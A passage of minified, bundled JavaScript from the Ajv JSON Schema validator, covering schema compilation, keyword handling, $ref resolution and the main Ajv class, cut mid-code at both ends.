y(O){let{gen:I,validateName:z}=O;O.evaluated=I.const("evaluated",(0,c._)`${z}.evaluated`),I.if((0,c._)`${O.evaluated}.dynamicProps`,()=>I.assign((0,c._)`${O.evaluated}.props`,(0,c._)`undefined`)),I.if((0,c._)`${O.evaluated}.dynamicItems`,()=>I.assign((0,c._)`${O.evaluated}.items`,(0,c._)`undefined`))}function v(O,I){let z=typeof O=="object"&&O[I.schemaId];return z&&(I.code.source||I.code.process)?(0,c._)`/*# sourceURL=${z} */`:c.nil}function _(O,I){if(x(O)&&(T(O),S(O))){w(O,I);return}(0,e.boolOrEmptySchema)(O,I)}function S({schema:O,self:I}){if(typeof O=="boolean")return!O;for(let z in O)if(I.RULES.all[z])return!0;return!1}function x(O){return typeof O.schema!="boolean"}function w(O,I){let{schema:z,gen:Z,opts:K}=O;K.$comment&&z.$comment&&N(O),q(O),U(O);let ue=Z.const("_errs",u.default.errors);R(O,ue),Z.var(I,(0,c._)`${ue} === ${u.default.errors}`)}function T(O){(0,d.checkUnknownRules)(O),A(O)}function R(O,I){if(O.opts.jtd)return ce(O,[],!1,I);let z=(0,r.getSchemaTypes)(O.schema),Z=(0,r.coerceAndCheckDataType)(O,z);ce(O,z,!Z,I)}function A(O){let{schema:I,errSchemaPath:z,opts:Z,self:K}=O;I.$ref&&Z.ignoreKeywordsWithRef&&(0,d.schemaHasRulesButRef)(I,K.RULES)&&K.logger.warn(`$ref: keywords ignored in schema at path "${z}"`)}function j(O){let{schema:I,opts:z}=O;I.default!==void 0&&z.useDefaults&&z.strictSchema&&(0,d.checkStrictMode)(O,"default is ignored in the schema root")}function q(O){let I=O.schema[O.opts.schemaId];I&&(O.baseId=(0,l.resolveUrl)(O.opts.uriResolver,O.baseId,I))}function U(O){if(O.schema.$async&&!O.schemaEnv.$async)throw new Error("async schema in sync schema")}function N({gen:O,schemaEnv:I,schema:z,errSchemaPath:Z,opts:K}){let ue=z.$comment;if(K.$comment===!0)O.code((0,c._)`${u.default.self}.logger.log(${ue})`);else if(typeof K.$comment=="function"){let Ce=(0,c.str)`${Z}/$comment`,Me=O.scopeValue("root",{ref:I.root});O.code((0,c._)`${u.default.self}.opts.$comment(${ue}, ${Ce}, ${Me}.schema)`)}}function G(O){let{gen:I,schemaEnv:z,validateName:Z,ValidationError:K,opts:ue}=O;z.$async?I.if((0,c._)`${u.default.errors} === 0`,()=>I.return(u.default.data),()=>I.throw((0,c._)`new ${K}(${u.default.vErrors})`)):(I.assign((0,c._)`${Z}.errors`,u.default.vErrors),ue.unevaluated&&te(O),I.return((0,c._)`${u.default.errors} === 0`))}function te({gen:O,evaluated:I,props:z,items:Z}){z instanceof c.Name&&O.assign((0,c._)`${I}.props`,z),Z instanceof c.Name&&O.assign((0,c._)`${I}.items`,Z)}function ce(O,I,z,Z){let{gen:K,schema:ue,data:Ce,allErrors:Me,opts:Ae,self:Ie}=O,{RULES:Te}=Ie;if(ue.$ref&&(Ae.ignoreKeywordsWithRef||!(0,d.schemaHasRulesButRef)(ue,Te))){K.block(()=>Y(O,"$ref",Te.all.$ref.definition));return}Ae.jtd||ne(O,I),K.block(()=>{for(let Le of Te.rules)dt(Le);dt(Te.post)});function dt(Le){(0,n.shouldUseGroup)(ue,Le)&&(Le.type?(K.if((0,a.checkDataType)(Le.type,Ce,Ae.strictNumbers)),le(O,Le),I.length===1&&I[0]===Le.type&&z&&(K.else(),(0,a.reportTypeError)(O)),K.endIf()):le(O,Le),Me||K.if((0,c._)`${u.default.errors} === ${Z||0}`))}}function le(O,I){let{gen:z,schema:Z,opts:{useDefaults:K}}=O;K&&(0,s.assignDefaults)(O,I.type),z.block(()=>{for(let ue of I.rules)(0,n.shouldUseRule)(Z,ue)&&Y(O,ue.keyword,ue.definition,I.type)})}function ne(O,I){O.schemaEnv.meta||!O.opts.strictTypes||(H(O,I),O.opts.allowUnionTypes||P(O,I),L(O,O.dataTypes))}function H(O,I){if(I.length){if(!O.dataTypes.length){O.dataTypes=I;return}I.forEach(z=>{E(O.dataTypes,z)||M(O,`type "${z}" not allowed by context "${O.dataTypes.join(",")}"`)}),k(O,I)}}function P(O,I){I.length>1&&!(I.length===2&&I.includes("null"))&&M(O,"use allowUnionTypes to allow union type keyword")}function L(O,I){let z=O.self.RULES.all;for(let Z in z){let K=z[Z];if(typeof K=="object"&&(0,n.shouldUseRule)(O.schema,K)){let{type:ue}=K.definition;ue.length&&!ue.some(Ce=>C(I,Ce))&&M(O,`missing type "${ue.join(",")}" for keyword "${Z}"`)}}}function C(O,I){return O.includes(I)||I==="number"&&O.includes("integer")}function E(O,I){return O.includes(I)||I==="integer"&&O.includes("number")}function k(O,I){let z=[];for(let Z of O.dataTypes)E(I,Z)?z.push(Z):I.includes("integer")&&Z==="number"&&z.push("integer");O.dataTypes=z}function M(O,I){let z=O.schemaEnv.baseId+O.errSchemaPath;I+=` at "${z}" (strictTypes)`,(0,d.checkStrictMode)(O,I,O.opts.strictTypes)}class X{constructor(I,z,Z){if((0,i.validateKeywordUsage)(I,z,Z),this.gen=I.gen,this.allErrors=I.allErrors,this.keyword=Z,this.data=I.data,this.schema=I.schema[Z],this.$data=z.$data&&I.opts.$data&&this.schema&&this.schema.$data,this.schemaValue=(0,d.schemaRefOrVal)(I,this.schema,Z,this.$data),this.schemaType=z.schemaType,this.parentSchema=I.schema,this.params={},this.it=I,this.def=z,this.$data)this.schemaCode=I.gen.const("vSchema",ve(this.$data,I));else if(this.schemaCode=this.schemaValue,!(0,i.validSchemaType)(this.schema,z.schemaType,z.allowUndefined))throw new Error(`${Z} value must be ${JSON.stringify(z.schemaType)}`);("code"in z?z.trackErrors:z.errors!==!1)&&(this.errsCount=I.gen.const("_errs",u.default.errors))}result(I,z,Z){this.failResult((0,c.not)(I),z,Z)}failResult(I,z,Z){this.gen.if(I),Z?Z():this.error(),z?(this.gen.else(),z(),this.allErrors&&this.gen.endIf()):this.allErrors?this.gen.endIf():this.gen.else()}pass(I,z){this.failResult((0,c.not)(I),void 0,z)}fail(I){if(I===void 0){this.error(),this.allErrors||this.gen.if(!1);return}this.gen.if(I),this.error(),this.allErrors?this.gen.endIf():this.gen.else()}fail$data(I){if(!this.$data)return this.fail(I);let{schemaCode:z}=this;this.fail((0,c._)`${z} !== undefined && (${(0,c.or)(this.invalid$data(),I)})`)}error(I,z,Z){if(z){this.setParams(z),this._error(I,Z),this.setParams({});return}this._error(I,Z)}_error(I,z){(I?f.reportExtraError:f.reportError)(this,this.def.error,z)}$dataError(){(0,f.reportError)(this,this.def.$dataError||f.keyword$DataError)}reset(){if(this.errsCount===void 0)throw new Error('add "trackErrors" to keyword definition');(0,f.resetErrorsCount)(this.gen,this.errsCount)}ok(I){this.allErrors||this.gen.if(I)}setParams(I,z){z?Object.assign(this.params,I):this.params=I}block$data(I,z,Z=c.nil){this.gen.block(()=>{this.check$data(I,Z),z()})}check$data(I=c.nil,z=c.nil){if(!this.$data)return;let{gen:Z,schemaCode:K,schemaType:ue,def:Ce}=this;Z.if((0,c.or)((0,c._)`${K} === undefined`,z)),I!==c.nil&&Z.assign(I,!0),(ue.length||Ce.validateSchema)&&(Z.elseIf(this.invalid$data()),this.$dataError(),I!==c.nil&&Z.assign(I,!1)),Z.else()}invalid$data(){let{gen:I,schemaCode:z,schemaType:Z,def:K,it:ue}=this;return(0,c.or)(Ce(),Me());function Ce(){if(Z.length){if(!(z instanceof c.Name))throw new Error("ajv implementation error");let Ae=Array.isArray(Z)?Z:[Z];return(0,c._)`${(0,a.checkDataTypes)(Ae,z,ue.opts.strictNumbers,a.DataType.Wrong)}`}return c.nil}function Me(){if(K.validateSchema){let Ae=I.scopeValue("validate$data",{ref:K.validateSchema});return(0,c._)`!${Ae}(${z})`}return c.nil}}subschema(I,z){let Z=(0,o.getSubschema)(this.it,I);(0,o.extendSubschemaData)(Z,this.it,I),(0,o.extendSubschemaMode)(Z,I);let K={...this.it,...Z,items:void 0,props:void 0};return _(K,z),K}mergeEvaluated(I,z){let{it:Z,gen:K}=this;Z.opts.unevaluated&&(Z.props!==!0&&I.props!==void 0&&(Z.props=d.mergeEvaluated.props(K,I.props,Z.props,z)),Z.items!==!0&&I.items!==void 0&&(Z.items=d.mergeEvaluated.items(K,I.items,Z.items,z)))}mergeValidEvaluated(I,z){let{it:Z,gen:K}=this;if(Z.opts.unevaluated&&(Z.props!==!0||Z.items!==!0))return K.if(z,()=>this.mergeEvaluated(I,c.Name)),!0}}t.KeywordCxt=X;function Y(O,I,z,Z){let K=new X(O,z,I);"code"in z?z.code(K,Z):K.$data&&z.validate?(0,i.funcKeywordCode)(K,z):"macro"in z?(0,i.macroKeywordCode)(K,z):(z.compile||z.validate)&&(0,i.funcKeywordCode)(K,z)}var de=/^\/(?:[^~]|~0|~1)*$/,ie=/^([0-9]+)(#|\/(?:[^~]|~0|~1)*)?$/;function ve(O,{dataLevel:I,dataNames:z,dataPathArr:Z}){let K,ue;if(O==="")return u.default.rootData;if(O[0]==="/"){if(!de.test(O))throw new Error(`Invalid JSON-pointer: ${O}`);K=O,ue=u.default.rootData}else{let Ie=ie.exec(O);if(!Ie)throw new Error(`Invalid JSON-pointer: ${O}`);let Te=+Ie[1];if(K=Ie[2],K==="#"){if(Te>=I)throw new Error(Ae("property/index",Te));return Z[I-Te]}if(Te>I)throw new Error(Ae("data",Te));if(ue=z[I-Te],!K)return ue}let Ce=ue,Me=K.split("/");for(let Ie of Me)Ie&&(ue=(0,c._)`${ue}${(0,c.getProperty)((0,d.unescapeJsonPointer)(Ie))}`,Ce=(0,c._)`${Ce} && ${ue}`);return Ce;function Ae(Ie,Te){return`Cannot access ${Ie} ${Te} levels up, current level is ${I}`}}t.getData=ve}),wm=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});class e extends Error{constructor(n){super("validation failed"),this.errors=n,this.ajv=this.validation=!0}}t.default=e}),cl=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=il();class r extends Error{constructor(a,s,i,o){super(o||`can't resolve reference ${i} from id ${s}`),this.missingRef=(0,e.resolveUrl)(a,s,i),this.missingSchema=(0,e.normalizeId)((0,e.getFullPath)(a,this.missingRef))}}t.default=r}),Sm=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.resolveSchema=t.getCompilingSchema=t.resolveRef=t.compileSchema=t.SchemaEnv=void 0;var e=Fe(),r=wm(),n=Ha(),a=il(),s=Je(),i=ol();class o{constructor(y){var v;this.refs={},this.dynamicAnchors={};let _;typeof y.schema=="object"&&(_=y.schema),this.schema=y.schema,this.schemaId=y.schemaId,this.root=y.root||this,this.baseId=(v=y.baseId)!==null&&v!==void 0?v:(0,a.normalizeId)(_?.[y.schemaId||"$id"]),this.schemaPath=y.schemaPath,this.localRefs=y.localRefs,this.meta=y.meta,this.$async=_?.$async,this.refs={}}}t.SchemaEnv=o;function c(h){let y=d.call(this,h);if(y)return y;let v=(0,a.getFullPath)(this.opts.uriResolver,h.root.baseId),{es5:_,lines:S}=this.opts.code,{ownProperties:x}=this.opts,w=new e.CodeGen(this.scope,{es5:_,lines:S,ownProperties:x}),T;h.$async&&(T=w.scopeValue("Error",{ref:r.default,code:(0,e._)`require("ajv/dist/runtime/validation_error").default`}));let R=w.scopeName("validate");h.validateName=R;let A={gen:w,allErrors:this.opts.allErrors,data:n.default.data,parentData:n.default.parentData,parentDataProperty:n.default.parentDataProperty,dataNames:[n.default.data],dataPathArr:[e.nil],dataLevel:0,dataTypes:[],definedProperties:new Set,topSchemaRef:w.scopeValue("schema",this.opts.code.source===!0?{ref:h.schema,code:(0,e.stringify)(h.schema)}:{ref:h.schema}),validateName:R,ValidationError:T,schema:h.schema,schemaEnv:h,rootId:v,baseId:h.baseId||v,schemaPath:e.nil,errSchemaPath:h.schemaPath||(this.opts.jtd?"":"#"),errorPath:(0,e._)`""`,opts:this.opts,self:this},j;try{this._compilations.add(h),(0,i.validateFunctionCode)(A),w.optimize(this.opts.code.optimize);let q=w.toString();j=`${w.scopeRefs(n.default.scope)}return ${q}`,this.opts.code.process&&(j=this.opts.code.process(j,h));let N=new Function(`${n.default.self}`,`${n.default.scope}`,j)(this,this.scope.get());if(this.scope.value(R,{ref:N}),N.errors=null,N.schema=h.schema,N.schemaEnv=h,h.$async&&(N.$async=!0),this.opts.code.source===!0&&(N.source={validateName:R,validateCode:q,scopeValues:w._values}),this.opts.unevaluated){let{props:G,items:te}=A;N.evaluated={props:G instanceof e.Name?void 0:G,items:te instanceof e.Name?void 0:te,dynamicProps:G instanceof e.Name,dynamicItems:te instanceof e.Name},N.source&&(N.source.evaluated=(0,e.stringify)(N.evaluated))}return h.validate=N,h}catch(q){throw delete h.validate,delete h.validateName,j&&this.logger.error("Error compiling schema, function code:",j),q}finally{this._compilations.delete(h)}}t.compileSchema=c;function u(h,y,v){var _;v=(0,a.resolveUrl)(this.opts.uriResolver,y,v);let S=h.refs[v];if(S)return S;let x=m.call(this,h,v);if(x===void 0){let w=(_=h.localRefs)===null||_===void 0?void 0:_[v],{schemaId:T}=this.opts;w&&(x=new o({schema:w,schemaId:T,root:h,baseId:y}))}if(x!==void 0)return h.refs[v]=l.call(this,x)}t.resolveRef=u;function l(h){return(0,a.inlineRef)(h.schema,this.opts.inlineRefs)?h.schema:h.validate?h:c.call(this,h)}function d(h){for(let y of this._compilations)if(f(y,h))return y}t.getCompilingSchema=d;function f(h,y){return h.schema===y.schema&&h.root===y.root&&h.baseId===y.baseId}function m(h,y){let v;for(;typeof(v=this.refs[y])=="string";)y=v;return v||this.schemas[y]||g.call(this,h,y)}function g(h,y){let v=this.opts.uriResolver.parse(y),_=(0,a._getFullPath)(this.opts.uriResolver,v),S=(0,a.getFullPath)(this.opts.uriResolver,h.baseId,void 0);if(Object.keys(h.schema).length>0&&_===S)return p.call(this,v,h);let x=(0,a.normalizeId)(_),w=this.refs[x]||this.schemas[x];if(typeof w=="string"){let T=g.call(this,h,w);return typeof T?.schema!="object"?void 0:p.call(this,v,T)}if(typeof w?.schema=="object"){if(w.validate||c.call(this,w),x===(0,a.normalizeId)(y)){let{schema:T}=w,{schemaId:R}=this.opts,A=T[R];return A&&(S=(0,a.resolveUrl)(this.opts.uriResolver,S,A)),new o({schema:T,schemaId:R,root:h,baseId:S})}return p.call(this,v,w)}}t.resolveSchema=g;var b=new Set(["properties","patternProperties","enum","dependencies","definitions"]);function p(h,{baseId:y,schema:v,root:_}){var S;if(((S=h.fragment)===null||S===void 0?void 0:S[0])!=="/")return;for(let T of h.fragment.slice(1).split("/")){if(typeof v=="boolean")return;let R=v[(0,s.unescapeFragment)(T)];if(R===void 0)return;v=R;let A=typeof v=="object"&&v[this.opts.schemaId];!b.has(T)&&A&&(y=(0,a.resolveUrl)(this.opts.uriResolver,y,A))}let x;if(typeof v!="boolean"&&v.$ref&&!(0,s.schemaHasRulesButRef)(v,this.RULES)){let T=(0,a.resolveUrl)(this.opts.uriResolver,y,v.$ref);x=g.call(this,_,T)}let{schemaId:w}=this.opts;if(x=x||new o({schema:v,schemaId:w,root:_,baseId:y}),x.schema!==x.root.schema)return x}}),Zq=ee((t,e)=>{e.exports={$id:"https://raw.githubusercontent.com/ajv-validator/ajv/master/lib/refs/data.json#",description:"Meta-schema for $data reference (JSON AnySchema extension proposal)",type:"object",required:["$data"],properties:{$data:{type:"string",anyOf:[{format:"relative-json-pointer"},{format:"json-pointer"}]}},additionalProperties:!1}}),Gq=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=q1();e.code='require("ajv/dist/runtime/uri").default',t.default=e}),Kq=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.CodeGen=t.Name=t.nil=t.stringify=t.str=t._=t.KeywordCxt=void 0;var e=ol();Object.defineProperty(t,"KeywordCxt",{enumerable:!0,get:function(){return e.KeywordCxt}});var r=Fe();Object.defineProperty(t,"_",{enumerable:!0,get:function(){return r._}}),Object.defineProperty(t,"str",{enumerable:!0,get:function(){return r.str}}),Object.defineProperty(t,"stringify",{enumerable:!0,get:function(){return r.stringify}}),Object.defineProperty(t,"nil",{enumerable:!0,get:function(){return r.nil}}),Object.defineProperty(t,"Name",{enumerable:!0,get:function(){return r.Name}}),Object.defineProperty(t,"CodeGen",{enumerable:!0,get:function(){return r.CodeGen}});var n=wm(),a=cl(),s=U1(),i=Sm(),o=Fe(),c=il(),u=Zu(),l=Je(),d=Zq(),f=Gq(),m=(H,P)=>new RegExp(H,P);m.code="new RegExp";var g=["removeAdditional","useDefaults","coerceTypes"],b=new Set(["validate","serialize","parse","wrapper","root","schema","keyword","pattern","formats","validate$data","func","obj","Error"]),p={errorDataPath:"",format:"`validateFormats: false` can be used instead.",nullable:'"nullable" keyword is supported by default.',jsonPointers:"Deprecated jsPropertySyntax can be used instead.",extendRefs:"Deprecated ignoreKeywordsWithRef can be used instead.",missingRefs:"Pass empty schema with $id that should be ignored to ajv.addSchema.",processCode:"Use option `code: {process: (code, schemaEnv: object) => string}`",sourceCode:"Use option `code: {source: true}`",strictDefaults:"It is default now, see option `strict`.",strictKeywords:"It is default now, see option `strict`.",uniqueItems:'"uniqueItems" keyword is always validated.',unknownFormats:"Disable strict mode or pass `true` to `ajv.addFormat` (or `formats` option).",cache:"Map is used as cache, schema object as key.",serialize:"Map is used as cache, schema object as key.",ajvErrors:"It is default now."},h={ignoreKeywordsWithRef:"",jsPropertySyntax:"",unicode:'"minLength"/"maxLength" account for unicode characters by default.'},y=200;function v(H){var P,L,C,E,k,M,X,Y,de,ie,ve,O,I,z,Z,K,ue,Ce,Me,Ae,Ie,Te,dt,Le,ur;let Bt=H.strict,Ot=(P=H.code)===null||P===void 0?void 0:P.optimize,$r=Ot===!0||Ot===void 0?1:Ot||0,_a=(C=(L=H.code)===null||L===void 0?void 0:L.regExp)!==null&&C!==void 0?C:m,Ln=(E=H.uriResolver)!==null&&E!==void 0?E:f.default;return{strictSchema:(M=(k=H.strictSchema)!==null&&k!==void 0?k:Bt)!==null&&M!==void 0?M:!0,strictNumbers:(Y=(X=H.strictNumbers)!==null&&X!==void 0?X:Bt)!==null&&Y!==void 0?Y:!0,strictTypes:(ie=(de=H.strictTypes)!==null&&de!==void 0?de:Bt)!==null&&ie!==void 0?ie:"log",strictTuples:(O=(ve=H.strictTuples)!==null&&ve!==void 0?ve:Bt)!==null&&O!==void 0?O:"log",strictRequired:(z=(I=H.strictRequired)!==null&&I!==void 0?I:Bt)!==null&&z!==void 0?z:!1,code:H.code?{...H.code,optimize:$r,regExp:_a}:{optimize:$r,regExp:_a},loopRequired:(Z=H.loopRequired)!==null&&Z!==void 0?Z:y,loopEnum:(K=H.loopEnum)!==null&&K!==void 0?K:y,meta:(ue=H.meta)!==null&&ue!==void 0?ue:!0,messages:(Ce=H.messages)!==null&&Ce!==void 0?Ce:!0,inlineRefs:(Me=H.inlineRefs)!==null&&Me!==void 0?Me:!0,schemaId:(Ae=H.schemaId)!==null&&Ae!==void 0?Ae:"$id",addUsedSchema:(Ie=H.addUsedSchema)!==null&&Ie!==void 0?Ie:!0,validateSchema:(Te=H.validateSchema)!==null&&Te!==void 0?Te:!0,validateFormats:(dt=H.validateFormats)!==null&&dt!==void 0?dt:!0,unicodeRegExp:(Le=H.unicodeRegExp)!==null&&Le!==void 0?Le:!0,int32range:(ur=H.int32range)!==null&&ur!==void 0?ur:!0,uriResolver:Ln}}class _{constructor(P={}){this.schemas={},this.refs={},this.formats={},this._compilations=new Set,this._loading={},this._cache=new Map,P=this.opts={...P,...v(P)};let{es5:L,lines:C}=this.opts.code;this.scope=new o.ValueScope({scope:{},prefixes:b,es5:L,lines:C}),this.logger=q(P.logger);let E=P.validateFormats;P.validateFormats=!1,this.RULES=(0,s.getRules)(),S.call(this,p,P,"NOT SUPPORTED"),S.call(this,h,P,"DEPRECATED","warn"),this._metaOpts=A.call(this),P.formats&&T.call(this),this._addVocabularies(),this._addDefaultMetaSchema(),P.keywords&&R.call(this,P.keywords),typeof P.meta=="object"&&this.addMetaSchema(P.meta),w.call(this),P.validateFormats=E}_addVocabularies(){this.addKeyword("$async")}_addDefaultMetaSchema(){let{$data:P,meta:L,schemaId:C}=this.opts,E=d;C==="id"&&(E={...d},E.id=E.$id,delete E.$id),L&&P&&this.addMetaSchema(E,E[C],!1)}defaultMeta(){let{meta:P,schemaId:L}=this.opts;return this.opts.defaultMeta=typeof P=="object"?P[L]||P:void 0}validate(P,L){let C;if(typeof P=="string"){if(C=this.getSchema(P),!C)throw new Error(`no schema with key or ref "${P}"`)}else C=this.compile(P);let E=C(L);return"$async"in C||(this.errors=C.errors),E}compile(P,L){let C=this._addSchema(P,L);return C.validate||this._compileSchemaEnv(C)}compileAsync(P,L){if(typeof this.opts.loadSchema!="function")throw new Error("options.loadSchema should be a function");let{loadSchema:C}=this.opts;return E.call(this,P,L);async function E(ie,ve){await k.call(this,ie.$schema);let O=this._addSchema(ie,ve);return O.validate||M.call(this,O)}async function k(ie){ie&&!this.getSchema(ie)&&await E.call(this,{$ref:ie},!0)}async function M(ie){try{return this._compileSchemaEnv(ie)}catch(ve){if(!(ve instanceof a.default))throw ve;return X.call(this,ve),await Y.call(this,ve.missingSchema),M.call(this,ie)}}function X({missingSchema:ie,missingRef:ve}){if(this.refs[ie])throw new Error(`AnySchema ${ie} is loaded but ${ve} cannot be resolved`)}async function Y(ie){let ve=await de.call(this,ie);this.refs[ie]||await k.call(this,ve.$schema),this.refs[ie]||this.addSchema(ve,ie,L)}async function de(ie){let ve=this._loading[ie];if(ve)return ve;try{return await(this._loading[ie]=C(ie))}finally{delete this._loading[ie]}}}addSchema(P,L,C,E=this.opts.validateSchema){if(Array.isArray(P)){for(let M of P)this.addSchema(M,void 0,C,E);return this}let k;if(typeof P=="object"){let{schemaId:M}=this.opts;if(k=P[M],k!==void 0&&typeof k!="string")throw new Error(`schema ${M} must be string`)}return L=(0,c.normalizeId)(L||k),this._checkUnique(L),this.schemas[L]=this._addSchema(P,C,L,E,!0),this}addMetaSchema(P,L,C=this.opts.validateSchema){return this.addSchema(P,L,!0,C),this}validateSchema(P,L){if(typeof P=="boolean")return!0;let C;if(C=P.$schema,C!==void 0&&typeof C!="string")throw new Error("$schema must be a string");if(C=C||this.opts.defaultMeta||this.defaultMeta(),!C)return this.logger.warn("meta-schema not available"),this.errors=null,!0;let E=this.validate(C,P);if(!E&&L){let k="schema is invalid: "+this.errorsText();if(this.opts.validateSchema==="log")this.logger.error(k);else throw new Error(k)}return E}getSchema(P){let L;for(;typeof(L=x.call(this,P))=="string";)P=L;if(L===void 0){let{schemaId:C}=this.opts,E=new i.SchemaEnv({schema:{},schemaId:C});if(L=i.resolveSchema.call(this,E,P),!L)return;this.refs[P]=L}return L.validate||this._compileSchemaEnv(L)}removeSchema(P){if(P instanceof RegExp)return this._removeAllSchemas(this.schemas,P),this._removeAllSchemas(this.refs,P),this;switch(typeof P){case"undefined":return this._removeAllSchemas(this.schemas),this._removeAllSchemas(this.refs),this._cache.clear(),this;case"string":{let L=x.call(this,P);return typeof L=="object"&&this._cache.delete(L.schema),delete this.schemas[P],delete this.refs[P],this}case"object":{let L=P;this._cache.delete(L);let C=P[this.opts.schemaId];return C&&(C=(0,c.normalizeId)(C),delete this.schemas[C],delete this.refs[C]),this}default:throw new Error("ajv.removeSchema: invalid parameter")}}addVocabulary(P){for(let L of P)this.addKeyword(L);return this}addKeyword(P,L){let C;if(typeof P=="string")C=P,typeof L=="object"&&(this.logger.warn("these parameters are deprecated, see docs for addKeyword"),L.keyword=C);else if(typeof P=="object"&&L===void 0){if(L=P,C=L.keyword,Array.isArray(C)&&!C.length)throw new Error("addKeywords: keyword must be string or non-empty array")}else throw new Error("invalid addKeywords parameters");if(N.call(this,C,L),!L)return(0,l.eachItem)(C,k=>G.call(this,k)),this;ce.call(this,L);let E={...L,type:(0,u.getJSONTypes)(L.type),schemaType:(0,u.getJSONTypes)(L.schemaType)};return(0,l.eachItem)(C,E.type.length===0?k=>G.call(this,k,E):k=>E.type.forEach(M=>G.call(this,k,E,M))),this}getKeyword(P){let L=this.RULES.all[P];return typeof L=="object"?L.definition:!!L}removeKeyword(P){let{RULES:L}=this;delete L.keywords[P],delete L.all[P];for(let C of L.rules){let E=C.rules.findIndex(k=>k.keyword===P);E>=0&&C.rules.splice(E,1)}return this}addFormat(P,L){return typeof L=="string"&&(L=new RegExp(L)),this.formats[P]=L,this}errorsText(P=this.errors,{separator:L=", ",dataVar:C="data"}={}){return!P||P.length===0?"No errors":P.map(E=>`${C}${E.instancePath} ${E.message}`).reduce((E,k)=>E+L+k)}$dataMetaSchema(P,L){let C=this.RULES.all;P=JSON.parse(JSON.stringify(P));for(let E of L){let k=E.split("/").slice(1),M=P;for(let X of k)M=M[X];for(let X in C){let Y=C[X];if(typeof Y!="object")continue;let{$data:de}=Y.definition,ie=M[X];de&&ie&&(M[X]=ne(ie))}}return P}_removeAllSchemas(P,L){for(let C in P){let E=P[C];(!L||L.test(C))&&(typeof E=="string"?delete P[C]:E&&!E.meta&&(this._cache.delete(E.schema),delete P[C]))}}_addSchema(P,L,C,E=this.opts.validateSchema,k=this.opts.addUsedSchema){let M,{schemaId:X}=this.opts;if(typeof P=="object")M=P[X];else{if(this.opts.jtd)throw new Error("schema must be object");if(typeof P!="boolean")throw new Error("schema must be object or boolean")}let Y=this._cache.get(P);if(Y!==void 0)return Y;C=(0,c.normalizeId)(M||C);let de=c.getSchemaRefs.call(this,P,C);return Y=new i.SchemaEnv({schema:P,schemaId:X,meta:L,baseId:C,localRefs:de}),this._cache.set(Y.schema,Y),k&&!C.startsWith("#")&&(C&&this._checkUnique(C),this.refs[C]=Y),E&&this.validateSchema(P,!0),Y}_checkUnique(P){if(this.schemas[P]||this.refs[P])throw new Error(`schema with key or id "${P}" already exists`)}_compileSchemaEnv(P){if(P.meta?this._compileMetaSchema(P):i.compileSchema.call(this,P),!P.validate)throw new Error("ajv implementation error");return P.validate}_compileMetaSchema(P){let L=this.opts;this.opts=this._metaOpts;try{i.compileSchema.call(this,P)}finally{this.opts=L}}}_.ValidationError=n.default,_.MissingRefError=a.default,t.default=_;function S(H,P,L,C="error"){for(let E in H){let k=E;k in P&&this.logger[C](`${L}: option ${E}. ${H[k]}`)}}function x(H){return H=(0,c.normalizeId)(H),this.schemas[H]||this.refs[H]}function w(){let H=this.opts.schemas;if(H)if(Array.isArray(H))this.addSchema(H);else for(let P in H)this.addSchema(H[P],P)}function T(){for(let H in this.opts.formats){let P=this.opts.formats[H];P&&this.addFormat(H,P)}}function R(H){if(Array.isArray(H)){this.addVocabulary(H);return}this.logger.warn("keywords option as map is deprecated, pass array");for(let P in H){let L=H[P];L.keyword||(L.keyword=P),this.addKeyword(L)}}function A(){let H={...this.opts};for(let P of g)delete H[P];return H}var j={log(){},warn(){},error(){}};function q(H){if(H===!1)return j;if(H===void 0)return console;if(H.log&&H.warn&&H.error)return H;throw new Error("logger must implement log, warn and error methods")}var U=/^[a-z_$][a-z0-9_$:-]*$/i;function N(H,P){let{RULES:L}=this;if((0,l.eachItem)(H,C=>{if(L.keywords[C])throw new Error(`Keyword ${C} is already defined`);if(!U.test(C))throw new Error(`Keyword ${C} has invalid name`)}),!!P&&P.$data&&!("code"in P||"validate"in P))throw new Error('$data keyword must have "code" or "validate" function')}function G(H,P,L){var C;let E=P?.post;if(L&&E)throw new Error('keyword with "post" flag cannot have "type"');let{RULES:k}=this,M=E?k.post:k.rules.find(({type:Y})=>Y===L);if(M||(M={type:L,rules:[]},k.rules.push(M)),k.keywords[H]=!0,!P)return;let X={keyword:H,definition:{...P,type:(0,u.getJSONTypes)(P.type),schemaType:(0,u.getJSONTypes)(P.schemaType)}};P.before?te.call(this,M,X,P.before):M.rules.push(X),k.all[H]=X,(C=P.implements)===null||C===void 0||C.forEach(Y=>this.addKeyword(Y))}function te(H,P,L){let C=H.rules.findIndex(E=>E.keyword===L);C>=0?H.rules.splice(C,0,P):(H.rules.push(P),this.logger.warn(`rule ${L} is not defined`))}function ce(H){let{metaSchema:P}=H;P!==void 0&&(H.$data&&this.opts.$data&&(P=ne(P)),H.validateSchema=this.compile(P,!0))}var le={$ref:"https://raw.githubusercontent.com/ajv-validator/ajv/master/lib/refs/data.json#"};function ne(H){return{anyOf:[H,le]}}}),Xq=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e={keyword:"id",code(){throw new Error('NOT SUPPORTED: keyword "id", use "$id" for schema ID')}};t.default=e}),Jq=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.callRef=t.getValidate=void 0;var e=cl(),r=qr(),n=Fe(),a=Ha(),s=Sm(),i=Je(),o={keyword:"$ref",schemaType:"string",code(l){let{gen:d,schema:f,it:m}=l,{baseId:g,schemaEnv:b,validateName:p,opts:h,self:y}=m,{root:v}=b;if((f==="#"||f==="#/")&&g===v.baseId)return S();let _=s.resolveRef.call(y,v,g,f);if(_===void 0)throw new e.default(m.opts.uriResolver,g,f);if(_ instanceof s.SchemaEnv)return x(_);return w(_);function S(){if(b===v)return u(l,p,b,b.$async);let T=d.scopeValue("root",{ref:v});return u(l,(0,n._)`${T}.validate`,v,v.$async)}function x(T){let R=c(l,T);u(l,R,T,T.$async)}function w(T){let R=d.scopeValue("schema",h.code.source===!0?{ref:T,code:(0,n.stringify)(T)}:{ref:T}),A=d.name("valid"),j=l.subschema({schema:T,dataTypes:[],schemaPath:n.nil,topSchemaRef:R,errSchemaPath:f},A);l.mergeEvaluated(j),l.ok(A)}}};function c(l,d){let{gen:f}=l;return d.validate?f.scopeValue("validate",{ref:d.validate}):(0,n._)`${f.scopeValue("wrapper",{ref:d})}.validate`}t.getValidate=c;function 